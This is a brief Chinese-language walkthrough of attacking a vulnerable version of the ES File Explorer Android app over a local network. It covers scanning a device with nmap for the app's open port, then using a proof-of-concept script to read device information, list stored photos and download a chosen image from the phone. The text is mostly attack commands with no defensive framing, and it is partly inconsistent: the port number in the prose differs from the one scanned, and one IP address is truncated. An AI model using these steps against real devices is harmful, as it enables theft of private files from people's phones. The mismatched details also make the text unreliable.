漏洞利用过程

首先在Android上安装受影响的版本ES文件浏览器

使用nmap查看是否开启57999端口

sudo nmap -sS -p 59777 -v 192.168.0.100

目标开启后，就能够利用POC验证是否存在漏洞

python3 poc.py --cmd getDeviceInfo --network 192.168.0.

 

经过执行getDeiceInfo来查看系统的信息

PACT00就是你的手机型号了

再来利用listPics来列出手机里图片的路径

有不少，随便从中选一个，利用-g来下载它

-g后面的路径参数必定要跟刚才获取到的信息来判断

而后输入如下路径

python3 poc.py -g /sdcard/Tencent/QQ_Images/-1915ed44cc2d41ae.jpg

下载后就会保存在当前目录
